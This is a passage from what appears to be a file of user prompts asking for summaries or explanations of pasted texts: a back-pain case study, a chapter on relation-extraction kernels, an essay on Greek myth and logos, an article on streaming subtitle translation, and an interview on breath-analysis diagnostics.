pain reports to get through. So they don’t. Some do, of course, but fewer. Thus, the simple business of walking-in-place, which serves many functions, blocks the pain highway and lessens the sense of pain. Sounds trifling but it works. It’s like the nurse pinching the spot where she’s going to give you the shot: she wants to keep you busy. Your neural pathways, anyway.\nRegular Robert \nOn the fitness scale, Regular Robert was somewhere in the middle. In terms of his lifestyle and temperament, he was a lunatic. Like a lot of my patients here in Aspen, he is successful, a strong alpha personality, a serious workaholic, and a handful. He thinks he’s a fitness guy but his idea of fitness is getting on the treadmill for forty-five minutes a day while reading his emails. This is not my idea of fitness; this is my idea of fooling around. And it is largely useless for someone with real back issues. The rest of his day is spent in intense meetings, traveling, and (especially) bent over his computer. Recently, he has had a relatively sudden onset of pretty serious lower back and buttock pain. It is nowhere near as severe as what I had or what most of the other people in this chapter had, but it’s serious enough, and he’s not liking it one bit. So here he sits, in my office, looking cranky. Everyone I see looks cranky. \nI listen to his story and determine it is likely a bulging lumbar disc. Do you remember those terms? Lumbar means lower back, where almost all back pain resides. And a disc is a disc. The reasons behind my conclusion are fairly straightforward and you can probably follow the analysis yourself, if you have similar problems. By asking him to move some, I find that he gets more pain with flexion (forward bending at the waist), sitting, and lifting. The pain eases with standing, extension (backward bending at the waist), and moving. The pain radiates down into his buttocks and can go from severe to almost nonexistent in the same day. The pain is more severe in the back than in the buttock or leg. I believe that it is a bulge (the outer fibers of the disc are still mostly intact) and not a herniation or rupture because the pain would be more severe if it were a rupture, and it would likely be radiating down his leg. \nThe pain is positional, meaning it gets better or worse depending on the position he is in. The pain goes from fairly intense to fairly mild, sometimes within hours, and he is not complaining of any numbness in his leg or foot. When the disc is herniated, it is common for the pain to be constant regardless of position and there is apt to be accompanying numbness or tingling in the foot or leg. The pain is also commonly the most intense in the leg or foot and not the back. I tell him I think he has a bulging disc and I explain just what that means. Type A guy that he is, he immediately wants to talk about surgery—about getting this fixed! Right now. “How bad is the surgery? How long is the recovery?” he asks. “Who should I use and how soon can I schedule it?” \nI tell him to chill for a minute; we are nowhere near that point yet. There are various stages of disc dysfunction, I tell him, and his does not look that bad to me. I say this because my exam shows no neurological damage. Here’s what I mean. I tapped his Achilles tendon and his foot jerked sharply, a sign that there has been no nerve damage in that area. I do the same with his knee (the same spot your doctor taps when you have a physical): same result. His reflexes are normal, so likely no nerve damage. His strength is within normal range, too. \nIf you have even a hint of “radicular” pain—pain that goes down your leg—you should see a medical doctor. It could be pain from an irritated nerve root (which can be serious) or it could be referred muscular pain. The analysis is a bit too complicated to cover in a book. In any event, I conclude that Regular Robert has not suffered any motor nerve damage because of nerve compression and he has not suffered any loss of strength. In the absence of serious motor function or nerve loss, surgery is seldom called for. \nLet me repeat this: Self-assessment gets tricky when it comes to muscle and nerve loss. If you sense that you are anywhere near that territory, especially if you have possible radicular pain (pain going down your leg), you should get professional help, probably a medical doctor. \nRegular Robert does not have nerve or muscle loss so he is not likely to have suffered a herniation. He is lucky, in a way, to have come in with this problem at this stage. It will give him a not-so-gentle kick in the pants to take spine health seriously. And it will give me a chance to offer him major relief, if not an outright cure. If he is serious and does what he must.' -'describe the pattern used to extract the rlation between two entities using the following text keep it short and simple with proper heading and subheading: Extracting semantic relationships between entities mentioned in text documents is\nan important task in natural language processing. The various types of relationships\nthat are discovered between mentions of entities can provide useful structured infor\x02mation to a text mining system [1]. Traditionally, the task specifies a predefined set\nof entity types and relation types that are deemed to be relevant to a potential user\nand that are likely to occur in a particular text collection. For example, information\nextraction from newspaper articles is usually concerned with identifying mentions\nof people, organizations, locations, and extracting useful relations between them.\nRelevant relation types range from social relationships, to roles that people hold\ninside an organization, to relations between organizations, to physical locations of\npeople and organizations. Scientific publications in the biomedical domain offer a\ntype of narrative that is very different from the newspaper discourse. A significant\neffort is currently spent on automatically extracting relevant pieces of information\nfrom Medline, an online collection of biomedical abstracts. Proteins, genes, and cells\nare examples of relevant entities in this task, whereas subcellular localizations and\nprotein-protein interactions are two of the relation types that have received signif\x02icant attention recently. The inherent difficulty of the relation extraction task is\nfurther compounded in the biomedical domain by the relative scarcity of tools able\nto analyze the corresponding type of narrative. Most existing natural language pro\x02cessing tools, such as tokenizers, sentence segmenters, part-of-speech (POS) taggers,\nshallow or full parsers are trained on newspaper corpora, and consequently they inc\x02cur a loss in accuracy when applied to biomedical literature. Therefore, information\nextraction systems developed for biological corpora need to be robust to POS or\nparsing errors, or to give reasonable performance using shallower but more reliable\ninformation, such as chunking instead of full parsing.\nIn this chapter, we present two recent approaches to relation extraction that\ndiffer in terms of the kind of linguistic information they use:\n1. In the first method (Section 3.2), each potential relation is represented implicitly\nas a vector of features, where each feature corresponds to a word sequence an\x02chored at the two entities forming the relationship. A relation extraction system\n30 Razvan C. Bunescu and Raymond J. Mooney\nis trained based on the subsequence kernel from [2]. This kernel is further gen\x02eralized so that words can be replaced with word classes, thus enabling the use\nof information coming from POS tagging, named entity recognition, chunking,\nor Wordnet [3].\n2. In the second approach (Section 3.3), the representation is centered on the short\x02est dependency path between the two entities in the dependency graph of the\nsentence. Because syntactic analysis is essential in this method, its applicability\nis limited to domains where syntactic parsing gives reasonable accuracy.\nEntity recognition, a prerequisite for relation extraction, is usually cast as a sequence\ntagging problem, in which words are tagged as being either outside any entity, or\ninside a particular type of entity. Most approaches to entity tagging are therefore\nbased on probabilistic models for labeling sequences, such as Hidden Markov Mod\x02els [4], Maximum Entropy Markov Models [5], or Conditional Random Fields [6],\nand obtain a reasonably high accuracy. In the two information extraction methods\npresented in this chapter, we assume that the entity recognition task was done and\nfocus only on the relation extraction part.\n3.2 Subsequence Kernels for Relation Extraction\nOne of the first approaches to extracting interactions between proteins from biomed\x02ical abstracts is that of Blaschke et al., described in [7, 8]. Their system is based on\na set of manually developed rules, where each rule (or frame) is a sequence of words\n(or POS tags) and two protein-name tokens. Between every two adjacent words is a\nnumber indicating the maximum number of intervening words allowed when match\x02ing the rule to a sentence. An example rule is “interaction of (3) (3) with (3)\n”, where ’’ is used to denote a protein name. A sentence matches the rule\nif and only if it satisfies the word constraints in the given order and respects the\nrespective word gaps.\nIn [9] the authors described a new method ELCS (Extraction using Longest\nCommon Subsequences) that automatically learns such rules. ELCS’ rule represen\x02tation is similar to that in [7, 8], except that it currently does not use POS tags,\nbut allows disjunctions of words. An example rule learned by this system is “- (7)\ninteraction (0) [between | of ] (5) (9) (17) .” Words in square brackets\nseparated by ‘|’ indicate disjunctive lexical constraints, i.e., one of the given words\nmust match the sentence at that position. The numbers in parentheses between ad\x02jacent constraints indicate the maximum number of unconstrained words allowed\nbetween the two.\n3.2.1 Capturing Relation Patterns with a String Kernel\nBoth Blaschke and ELCS do relation extraction based on a limited set of match\x02ing rules, where a rule is simply a sparse (gappy) subsequence of words or POS\ntags anchored on the two protein-name tokens. Therefore, the two methods share\na common limitation: either through manual selection (Blaschke), or as a result of\na greedy learning procedure (ELCS), they end up using only a subset of all pos\x02sible anchored sparse subsequences. Ideally, all such anchored sparse subsequences\nwould be used as features, with weights reflecting their relative accuracy. However,\n3 Extracting Relations from Text 31\nexplicitly creating for each sentence a vector with a position for each such feature is\ninfeasible, due to the high dimensionality of the feature space. Here, we exploit dual\nlearning algorithms that process examples only via computing their dot-products,\nsuch as in Support Vector Machines (SVMs) [10, 11]. An SVM learner tries to find\na hyperplane that separates positive from negative examples and at the same time\nmaximizes the separation (margin) between them. This type of max-margin sepa\x02rator has been shown both theoretically and empirically to resist overfitting and to\nprovide good generalization performance on unseen examples.\nComputing the dot-product (i.e., the kernel) between the features vectors asso\x02ciated with two relation examples amounts to calculating the number of common\nanchored subsequences between the two sentences. This is done efficiently by modify\x02ing the dynamic programming algorithm used in the string kernel from [2] to account\nonly for common sparse subsequences constrained to contain the two protein-name\ntokens. The feature space is further prunned down by utilizing the following prop\x02erty of natural language statements: when a sentence asserts a relationship between\ntwo entity mentions, it generally does this using one of the following four patterns:\n• [FB] Fore–Between: words before and between the two entity mentions are\nsimultaneously used to express the relationship. Examples: ‘interaction of \x07P1\x08 with\n\x07P2\x08,’ ‘activation of \x07P1\x08 by \x07P2\x08.’\n• [B] Between: only words between the two entities are essential for asserting\nthe relationship. Examples: ‘\x07P1\x08 interacts with \x07P2\x08,’ ‘\x07P1\x08 is activated by \x07P2\x08.’\n• [BA] Between–After: words between and after the two entity mentions are\nsimultaneously used to express the relationship. Examples: ‘\x07P1\x08 – \x07P2\x08 complex,’\n‘\x07P1\x08 and \x07P2\x08 interact.’\n• [M] Modifier: the two entity mentions have no words between them. Examples:\nU.S. troops (a Role:Staff relation), Serbian general (Role:Citizen).\nWhile the first three patterns are sufficient to capture most cases of interactions\nbetween proteins, the last pattern is needed to account for various relationships ex\x02pressed through noun-noun or adjective-noun compounds in the newspaper corpora.\nAnother observation is that all these patterns use at most four words to express\nthe relationship (not counting the two entity names). Consequently, when computing\nthe relation kernel, we restrict the counting of common anchored subsequences only\nto those having one of the four types described above, with a maximum word-length\nof four. This type of feature selection leads not only to a faster kernel computation,\nbut also to less overfitting, which results in increased accuracy.\nThe patterns enumerated above are completely lexicalized and consequently their\nperformance is limited by data sparsity. This can be alleviated by categorizing words\ninto classes with varying degrees of generality, and then allowing patterns to use both\nwords and their classes. Examples of word classes are POS tags and generalizations\nover POS tags such as Noun, Active Verb, or Passive Verb. The entity type can\nalso be used if the word is part of a known named entity. Also, if the sentence is\nsegmented into syntactic chunks such as noun phrases (NP) or verb phrases (VP),\nthe system may choose to consider only the head word from each chunk, together\nwith the type of the chunk as another word class. Content words such as nouns and\nverbs can also be related to their synsets via WordNet. Patterns then will consist\nof sparse subsequences of words, POS tags, generalized POS tags, entity and chunk\ntypes, or WordNet synsets. For example, ‘Noun of \x07P1\x08 by \x07P2\x08’ is an FB pattern\nbased on words and general POS tags.\n\n−\na ). In\nSection 3.2.1 we observed that all three subsequence patterns use at most4words\nto express a relation, therefore the constants fbmax, bmax and bamax are set to 4.\nKernels K and K\x01\nare computed using the procedure described in Section 3.2.2.\n3.3 A Dependency-Path Kernel for Relation Extraction\nThe pattern examples from Section 3.2.1 show the two entity mentions, together\nwith the set of words that are relevant for their relationship. A closer analysis of\n3 Extracting Relations from Text 35\nS1 =\n=S2\nProtesters stations workers\nTroops churches ministers\nseized several pumping , holding 127 Shell hostage .\nrecently have raided , warning to stop preaching .\nFig. 3.4. Sentences as dependency graphs.\nthese examples reveals that all relevant words form a shortest path between the\ntwo entities in a graph structure where edges correspond to relations between a\nword (head) and its dependents. For example, Figure 3.4 shows the full dependency\ngraphs for two sentences from the ACE (Automated Content Extraction) newspa\x02per corpus [12], in which words are represented as nodes and word-word dependen\x02cies are represented as directed edges. A subset of these word-word dependencies\ncapture the predicate-argument relations present in the sentence. Arguments are\nconnected to their target predicates either directly through an arc pointing to the\npredicate (‘troops → raided’), or indirectly through a preposition or infinitive par\x02ticle (‘warning ← to ← stop’). Other types of word-word dependencies account for\nmodifier-head relationships present in adjective-noun compounds (‘several → sta\x02tions’), noun-noun compounds (‘pumping → stations’), or adverb-verb constructions\n(‘recently → raided’).\nWord-word dependencies are typically categorized in two classes as follows:\n• [Local Dependencies] These correspond to local predicate-argument (or head\x02modifier) constructions such as ‘troops → raided’, or ‘pumping → stations’ in\nFigure 3.4.\n• [Non-local Dependencies] Long-distance dependencies arise due to various\nlinguistic constructions such as coordination, extraction, raising and control. In\nFigure 3.4, among non-local dependencies are ‘troops → warning’, or ‘ministers\n→ preaching’.\nA Context Free Grammar (CFG) parser can be used to extract local depen\x02dencies, which for each sentence form a dependency tree. Mildly context sensitive\nformalisms such as Combinatory Categorial Grammar (CCG) [13] model word-word\ndependencies more directly and can be used to extract both local and long-distance\ndependencies, giving rise to a directed acyclic graph, as illustrated in Figure 3.4' -'Summarize this text:"The sixth century witnessed a ‘culture shock’: through contact with foreign peoples,\nthrough colonisation and commerce, and because of a desire for innovation, a new\nworld view was gradually established. Almost automatically, this led to a critique of\nthe obvious nature of myth. From now on, the stories have to be interpreted. The truth\nmyths claimed to reveal, can be better uncovered by other means. A new generation\nof poets fiercely criticizes the immoral nature of the Homeric gods, and notes how\nthe image of god differs from people to people. The poet Xenophanes (c. 565-473)\nputs it as follows:\nThe Ethiopians say that their gods are black and snub-nosed, the Thracians,\nthat they have blue eyes and red hair. (Xenophanes, fr. 16)\nFor Xenophanes, this is not merely an ethnographic discovery, but an indication that\nthe gods are formed after the image and likeness of humans. By extension, the same\nwould go for animals:\n\nBut if cows, horses and lions had hands or could paint with their hands or\ncreate things as humans do, then horses would depict the gods like horses, and\noxen like oxen, and they would make the bodies just like the body they have.\n(Xenophanes, fr. 15)\nXenophanes himself argues for a purification of the image of god, which can no\nlonger be anthropomorphic. It is important to observe that the traditional\nrepresentation of the gods is criticized here, which, of course, puts the explanatory\nvalue of myth into perspective as well. Moreover, Xenophanes’ criticism makes it\nclear that new explanatory methods are sought, which are no longer connected to\nlocal traditions and myth, but offer a universal understanding instead. From now on,\nif myths are still to be used, they will need to be interpreted according to new\n21\nstandards, where the mythical representations are read as referring to explanatory\nprinciples of a different sort.\n The way tradition is handed down also changes. For centuries, the Greek\ncultural tradition was oral. Myths, but also the texts of Homer, were transmitted\norally, and were also composed for that purpose. The Iliad and the Odyssey contain\nnumerous stereotypical phrasings and descriptions (e.g. the epithets of the gods) that\ncould be used as mnemonic devices by reciters. The Iliad and the Odyssey were\nprobably ‘composed’ by Homer in the sense that he organized existing material by\nmeans of a new, original plot (the wrath of Achilles). As a matter of fact, Homer’s\ntext could slightly differ as it was recited by different bards. The fact that this was\nnot considered an insurmountable problem is illustrative of the culture in which this\npractice occurred. In the sixth century, this also changes. Late in that century, the\nAthenian tyrant Peisistratus gave the order to commit a standard version of Homer\nto writing, which was then deposited in the Athenian city-state library. That alone is\nevidence of a changed mentality. The desire for codification, and standardisation and\nhomogenisation, shows a new way of dealing with the text, which now acquires an\nobjective status. Peisistratus’ decision, which, at first glance, appears to fall into the\ncategory of faits divers, is in fact the exponent of an extremely important revolution.\nApparently, the previous way of dealing with Homer’s text no longer suffices, and\nthe act of reading the great poet is subject to new requirements.\n The question we have to ask ourselves is not ‘how could people be so primitive\nin the preceding period?’, but rather: ‘what has changed, so that the previous practice\nno longer seemed to work?’ From all the tendencies and examples mentioned above\na number of constants emerge: what is sought is universal validity, objective\nintelligibility and systematic order. This triple concern is indicated by the term logos:\na word with multiple meanings, ranging from ‘word’, to ‘definition’, ‘discourse’,\n‘reason’, etc. to the ‘account’ given (logon didonai) of the phenomena that need to be\nexplained. All situations where an explanation is demanded, require logos. And the\nexplanation that is given will have to meet the requirements of universality,\n22\nobjectivity and systematicity. The explanatory value of myth is gone for good, and\nwhat is sought is a logos, a rational explanation.\n In the transition from ‘mythos’ to ‘logos’, and in fully considering the\nimplications for the individual and society, lies the so-called ‘Greek miracle’. As such,\nthe critique of myth and the embrace of logos is the beginning of philosophy.\n As drastic as the change may be, the culture shock exposed here did not come\nabout unexpectedly. Myth itself already showed a desire for explanation, for\nstrategies to bring the world under control. Hence, rational explanation – albeit with\nradically new answers – meets a similar need. For indeed, within the given horizon\nof existence of civilizations based on myth, the narrative is a strategy of the same\nvalue as science in a society governed by technology. That is the opinion of the\nstructuralist Claude Lévi-Strauss, La pensée sauvage, 1962 (for structuralism: see below,\np. ??). According to him, myth is ‘savage thought’ (like that of a bricoleur), whereas\nlogos stands for ‘tamed thought’ (like that of an engineer). The barely conscious\npurpose of myth is the same as that of logos, namely control over a mysterious world.\n Moreover, Greek mythology – for many the textbook example of myth – has\na very peculiar status. In Greek myths, as we know them, logos itself has already\npenetrated mythos. Hesiod’s Theogony (7th century) tried to bring unity into a\nmultiplicity of disconnected stories, and into an often inconsistent rendering of the\ngenealogy of the gods. Apparently, even then, uniformity and homogenisation were\nalready sought. In that sense, we speak of ‘mytho-logy’, because a first rationalisation\nalready occurred. Perhaps this is closely linked to the development of a Greek\ncultural identity, which the Hellenes used to distinguish themselves from the\n‘barbarians’. Also in later times the Greeks appealed to their Pan-Hellenic culture,\neven if the various city-states faced each other on the battlefield. In Greek history\nthere is a clear tendency towards unity, which already showed in the Pan-Hellenic\nsanctuaries and games (for example the Olympic Games, which were held from 776\nBC onward). It is not impossible that Greek mytho-logy is the result of this Pan-\n23\nHellenic desire for uniformity, where the different versions of myths from various\nGreek tribes and states were homogenised.\n But something else comes into play. The divine itself also acquires a different\nstatus. Greek religion is, primarily, a worship of nature: numerous divine powers\nanimate nature. But, at the same time, these powers are personified and, as we have\nalready seen, described in fundamentally anthropomorphic form. In\nanthropomorphism the worship of nature is profoundly transformed, however much\nthe gods remain associated with their natural functions (for example, as weather god,\nor fertility deity). After all, it becomes impossible to connect the gods with one\nparticular natural phenomenon, let alone with one particular place of worship, if it is\nsimultaneously maintained that they resemble humans in all respects (except their\nimmortality). This also becomes clear in a spatial sense. The anthropomorphic gods\n‘move’, as it were, to a separate location, the Olympus. In this context we can speak\nof a certain desacralisation of nature. The gods lose their place in the world, and the\nOlympus is conceived as a symbol of a ‘supernatural’ place, from which they interact\nwith nature, humans, and each other. As a result, nature gets, to some extent,\nseparated from the sacred: the world loses its enchantment and is ready for the\nobjectifying gaze of reason.\n This tendency made its definite breakthrough in the sixth century. From now\non, the explanation of the world is no longer sought for in the omnipresent power\nof the gods, but in the universality of reason.\n The strength and success of rational explanation are further reinforced by\nanother element through which Greek culture distinguished itself from neighbouring\npeoples. The Egyptians and Babylonians in particular, had reached a very high level\nof knowledge in geometry and astrology, but they had never differentiated between\nknowledge and practical application (staking out parcels after the Nile had flooded,\nbuilding pyramids, predicting propitious moments to make a decision, etc.). In Greek\nhands, knowledge is transformed into ‘knowing for the sake of knowing’. This new\nattitude is summarized under the term theoria. A theōros is a traveller who, out of\n24\ninterest, sets off to see objects and places worth seeing (from thea: spectacle and horān:\nto see). Herodotus, a well-known traveller himself, relates how the Athenian wise\nman Solon went to Lydia, ‘for the sake of theoria’ (Herod., Histories, I, 30). Theoria can\nalso be a public assignment. In that case, a theōros is an ambassador who attends\nreligious or sports festivals in other cities on behalf of his own city. He is a spectator\nwho, from a distance and without taking part, observes the spectacle. The Greeks\ntransferred this terminology to knowledge: theoria becomes the purely contemplative\n(‘theoretical’) activity of the scientist. This calls for an overall picture where every\ndetail is assigned its own place: the various partial aspects are integrated and\nsystematized, so that science can explain as many phenomena as possible with as few\nprinciples as possible. For the Greeks, the ideal of knowledge is the disinterested\ncontemplation of the whole, which they want to understand and explain in its entirety."' -"Please summarise the following in 3 paragraphs\n\nLast month, bilingual Korean-American influencer Youngmi Mayer took to TikTok and Twitter, bemoaning what she considered to be botched English subtitles on Netflix’s hit series Squid Game. She argued that important nuances had been lost in translation. Others chimed in: the French and Hindi subtitles were junk too, and the English dubbing was a joke. Although many translation professionals say that the criticism was unfair, the pile-on was picked up by major news outlets.\n\nThe controversy drew a bright spotlight onto a rarely discussed industry at the heart of major international streaming platforms: language service providers, or LSPs. These are companies that provide outsourced subtitling, captioning, and dubbing through a global network of contract subtitle translators, voice-over actors, translation editors, and sound mixers. It also underscored a looming concern for streaming services: a shortage of quality translators who can handle an increasingly global audience.\n\n“Squid Game is another sign that there is a demand for locally produced media entertainment content above and beyond local audiences — for Korean content outside of Korea, for Mexican content outside of Mexico,” Paolo Sigismondi, a professor at the University of Southern California who researches the global entertainment industry, told Rest of World. Most of the over 111 million viewers who have now seen the gory Korean-language Netflix series watched with subtitles in one of 31 languages or via 13 dubbed versions. LSPs are critical to the distribution of that local content on a global scale. But because of a labor shortage and no viable automated solution, the translation industry is being pushed to its limits.\n\n“I can tell you literally, this industry will be out of supply over demand for the upcoming two to three years,” David Lee, the CEO of Iyuno-SDI, one of the industry’s largest subtitling and dubbing providers, told Rest of World. “Nobody to translate, nobody to dub, nobody to mix –– the industry just doesn’t have enough resources to do it.” Interviews with industry leaders reveal most streaming platforms are now at an inflection point, left to decide how much they are willing to sacrifice on quality to subtitle their streaming roster. \n\n“Nobody to translate, nobody to dub, nobody to mix — the industry just doesn’t have enough resources to do it.”\nBack in 2016, from an office in Los Angeles, Netflix launched in 130 global markets simultaneously. And today, viewers outside of North America are driving much of the company’s growth. Although Netflix lost 400,000 subscribers in the U.S. and Canada last quarter, it netted more than 1 million new subscribers in the Asia-Pacific region. Netflix is not alone in making international subscribers core to the future of its business. \n\nDisney+, HBO Max, and Iflix are also competing on the global stage, and each new market entrance demands translation resources. For services like Disney+, which has a deep catalog, the company needs to line up translation services for everything from the latest Marvel series and other original programming to its archived library of film and television as well as outdated localizations from old international releases. According to Chris Fetner, the director of the Entertainment Globalization Association (EGA), a trade association for localization companies, the next few years could see a pileup of translation orders around the world.\nNetflix offers viewers a total of 31 different language subtitling options for Squid Game depending on the user’s language settings.https://www.netflix.com/\nFetner, who spent nine years as a Netflix executive, building the platform’s localization strategies, said that until recently, the LSP industry could cope with demand. “When I was at Netflix, we got comfortable with the industry always absorbing our work. And it’s really hitting a saturation point, where the sponge can’t take any more water right now,” he said. Many member organizations of the EGA say they cannot take new work until after 2022, according to Fetner. “Every day, I hear somebody talk about how they had to turn work down.”\n\nTraining a new generation of translators to meet this supply issue in certain translation hot spots will take time, and most importantly, better compensation, said Lee, whose company Iyuno-SDI operates in over 100 languages and routinely clocks in over 600,000 episodes of translations every year. Lee said that roughly one in 50 applicants are able to pass Iyuno-SDI’s translator qualification exam. “I don’t think we’re happy with even 10% or 15% of who we work with,” he said. “We just have no other options because there’s just not enough professional translators.” When the company does contract less-qualified translators, Lee said they invest in more-thorough quality checks and edits to maintain overall quality. Last year, several major European translator associations blacklisted Iyuno-SDI, discouraging their members from working for the company due to increasing cuts to their freelance subtitling rates.\n\nPoor compensation is another reason for the labor shortage, making it difficult to keep good translators in the industry for long. Netflix pays $13 per minute for translation of Korean audio into English subtitles, but only a fraction of that figure ends up directly in the pockets of translators.\n\nData suggests that even ahead of the looming translation crunch, subtitle quality is already a concern for some European viewers. According to a recent study by the EGA, of 15,000 streaming subscribers surveyed in Spain, Germany, France, and Italy, 61% had encountered poor subtitling or dubbing quality on a monthly basis. And 70% had stopped a TV show or film in the last year as a result.\n\nFlorencia Lago, who subtitled Squid Game into Spanish from her home in the northern Patagonia region of Argentina, told Rest of World that she routinely takes on freelance projects subtitling Korean, Japanese, and Chinese film and television for Latin American audiences. “I have never worked with anything that has been so successful [Squid Game],” she said. “It’s been pretty shocking.”\n\nMost Popular\n\nIndian tech companies made big WFH promises. Now they're calling millions of workers back\n \n\nSouth African students are selling school Wi-Fi passwords for lunch money\n \n\nShe drew millions of TikTok followers by selling a fantasy of rural China. Then politics intervened\nLago, who was hired by Iyuno-SDI, said she was assigned work for Squid Game via English templating. An industry term, also known as pivot translation, this technique is when a subtitle script is first translated in English before being translated into a subsequent language. Lago, after all, is an English-Spanish translator and doesn’t speak Korean. \n\nEnglish templating is the industry norm, not an anomaly. That means non-English-speaking Netflix subscribers are often watching subtitles that have been filtered through a layer of English translation. \n\nLSPs use English templating as both a cost-cutting maneuver and a tool to scale. For instance, while there may be only a few dozen Korean-French translators working professionally on subtitling, there are plenty of Korean-English and English-French translators in the industry. Though English templating can be more efficient, translation researchers say that the process can deteriorate the quality. Others argue it’s problematic when English mediates expression into so many other languages.\n\n“We just have no other option because there’s just not enough professional translators.”\n\n“Translating Korean into French through English makes as much sense as translating French to English through Korean,” François-Xavier Durandy, a Hindi-French translator whose subtitling work has screened at Cannes, told Rest of World over email. Durandy equated English templating to subtitling malpractice.\n\nIn recent years, there have been efforts to automate translation as a means of coping with the deluge of new content. Iyuno-SDI has made investments in machine learning translation and automated quality checks, but executives say that the quality of the AI isn’t currently good enough to replace humans. In some instances, machine learning is currently used to generate a first-draft translation, which is then edited or disregarded by a human subtitler as they see fit. The shortcomings of AI in handling the art of subtitling means that there’s no quick fix to the translator crunch.\n\nRecent attention to localization quality has not gone unnoticed by streaming services. In response to the wave of criticism against Squid Game’s subtitles, Netflix hired Sharon Choi, the interpreter who went viral at last year’s Academy Awards ceremony — where she translated for Parasite director Bong Joon Ho — to take a second pass on the subtitles. Her name is now displayed alongside the original translator of Squid Game’s English-language subtitled version. Iyuno-SDI has also seen an uptick in clients investing in subtitling high-priority shows via direct translation, as opposed to English templating, to improve quality.\n\n“You want it to be very good, but when you try to go to perfection, the return on investment becomes uninteresting,” said Fetner. “Having something that’s 95% satisfying, I think most of us would say that’s great. And to move that 5%, it’s expensive.” Many platforms will have come away from the Squid Game controversy knowing that, despite any flaws, subscribers were still watching.\n\nThis piece has been updated to include labor complaints against Iyuno-SDI." -'Learn EXHALED BREATH ANALYSIS\nIT’S CLEAR THAT LIQUID BIOPSY CAN PROVIDE A MINIMALLY INVASIVE ALTERNATIVE TO\nTRADITIONAL TISSUE BIOPSIES. HOWEVER, A FIELD HAS EMERGED THAT AIMS TO REDUCE\nTHAT INVASIVENESS EVEN FURTHER. BREATH ANALYSIS – SOMETIMES REFERRED TO AS\n“BREATHOMICS” – SEEKS TO PROVIDE COMPLETELY NON-INVASIVE DIAGNOSTIC TESTING\nBY ANALYSING BIOMARKERS PRESENT IN EXHALED BREATH. Sniffing out disease\nUnpleasant or unusual odours have been associated with specific\ndiseases since ancient times. Socrates was the first to describe fetor\noris and fetor hepaticus in relation to breath aroma and disease1.\nThe sweet scent sometimes found on the breath of individuals with\ndiabetes has also long been linked to the presence of increased levels\nof acetone2. More recently, the underlying concepts of breath analysis\nhave hit the news with the nurse that can smell Parkinson’s disease\nand dogs that can sniff out cancer.\nIn the field of modern breath analysis, researchers aim to elucidate\nthe molecular signals underlying disease processes. Research focuses\non establishing breath tests that can be used in diagnostic clinical\npractice. Although much evidence has emerged supporting the\nanalysis of breath in the non-invasive diagnosis and monitoring of\ndisease, many challenges still remain when translating this work into\nclinical practice.\nBreath is a highly variable and complex biological matrix, containing\nmolecular signals that are representative of the whole body. A\ncombination of analytical and statistical methods is required to\ncharacterise exhaled breath and link profiles to specific diseases.\nDespite the challenges, breath analysis shares many research themes\nand aims with liquid biopsy, with the ultimate goal being the noninvasive\ndiagnosis of disease.\nIn the interview included in this chapter we spoke to Billy Boyle,\nFounder of Owlstone Medical, about the origins of breath analysis\nand how non-invasive diagnosis can be achieved. this field of research?\nBilly Boyle: Breath has been used as a diagnostic tool for thousands of\nyears. The ancient world knew that fishy smelling breath often meant\na renal disorder, while fruity breath has long been associated with\ndiabetic shock. Linus Pauling is often considered the father of modern\nbreath research. He and his colleagues started trying to analyse volatile\norganic compounds (VOCs) in biological samples in the 1970s. Progress\nat that time was restricted by the relative complexity of reliably\ncollecting and analysing the mixture of hundreds of VOCs in these\nsamples. Ongoing research is establishing clearer connections between\nspecific VOCs and the biological processes involved in their production.\nFLG: What exactly are VOCs? Are there any other biomarkers of\ninterest that can be found in breath?\nBilly: VOCs are gaseous molecules that can be sampled quickly and\nnon-invasively from breath. They can originate either from within\nthe body (endogenous VOCs) or from external sources such as\ndiet, prescription drugs and environmental exposure (exogenous\nVOCs). Endogenous VOCs are products of metabolic activity in the\nbody (including non-human metabolic pathways such as within the\nmicrobiome). Changes to VOC concentrations could be characteristic of\nspecific disease processes.\nExogenous VOCs in breath can also be used to assess drug\nmetabolism, or to measure exposure to potentially harmful\ncompounds in the environment, such as benzene. With sufficient\nbiological knowledge, exogenous VOCs could also be administered\nas probes, in conjunction with a breath test, to assess the activity of\ntargeted metabolic pathways.\nExhaled breath also contains microscopic aerosol particles. They can be\nsampled as exhaled breath aerosol (EBA) or exhaled breath condensate\n(EBC) and are another rich source of biological information originating\nfrom the lungs and the airways.\nFLG: Where can breath analysis be applied and in which different\ndisease areas could it have an impact?\nBilly: Endogenous VOCs produced throughout the body are\npicked up and distributed in the bloodstream. Your entire blood\nvolume passes through your lungs approximately once a minute,\nwhere volatile metabolites exchange easily between blood and\nbreath. Prospective VOC biomarkers originating from all parts of\nthe body can be captured in breath. This makes breath testing\napplicable to a wide range of diseases including inflammatory,\nrespiratory, metabolic, cardiovascular, gastrointestinal (including\nthe microbiome), infectious diseases, as well as various cancers.\nNon-invasive breath biomarkers are perfectly suited to addressing\ntwo of the major challenges of healthcare today: early detection and\nprecision medicine.\nFLG: What technologies & analysis methods are used in breath research?\nBilly: Two predominating approaches have emerged as tools for breath\nresearch. The first, performs quantitative analytical characterisation.\nThis uses in-depth techniques, such as gas chromatography mass\nspectrometry (GC-MS) – which is the current gold standard. Through\nthese tools the VOCs in exhaled breath are separated, identified\nand quantified. This approach reveals individual VOCs, which can be\ninvestigated (either individually or in combination) as prospective\nbiomarkers.\nThe second approach to breath research performs qualitative\nassessment of the exhaled breath composition. This is usually\nperformed with an individual chemical sensor or arrays of specific or\ncross-reactive chemical sensors. The signals obtained can be translated\nvia mathematical algorithms into discriminative breath-prints or\npatterns associated with a specific group of patients/disease. Inspired\nby the mammalian sense of smell, such systems have sometimes been\nreferred to as Electronic Noses (eNoses). Sensor-based approaches\nare much more affordable but, as a discovery and validation technique\nhave proved much less easily transferable. FLG: What are some of the challenges faced with breath analysis\ncompared to other biological matrices?\nBilly: Breath biopsies aren’t as clinically established as liquid or tissue\nbiopsies. While a number of breath tests are already in use in the clinic,\ntheir application has been limited to diseases of the lungs and the\ngastrointestinal system. There is a degree of scepticism in believing\nthat breath tests can reflect metabolic activity across diverse parts of\nthe body (such as the liver) that needs to be overcome.\nBreath is an incredibly complex medium, with the concentrations of\ncompounds of interest in samples often spread over many orders of\nmagnitude. The molecular feature you’re interested in might only be\npresent on breath at a level of parts per billion, parts per trillion – or\neven smaller. Analytical research equipment therefore requires a very\nhigh dynamic range. Sample storage and transportation was also often\na problem in the past, with breath samples collected into cumbersome\nbags that can easily burst.\nMany modern breath research studies have failed to control for ambient\ncontamination during sampling. Food, drink, flowers, cleaning products,\npollution etc. are all sources of VOCs and the air in a room will always\ncontain a broad selection of VOCs that have nothing to do with a 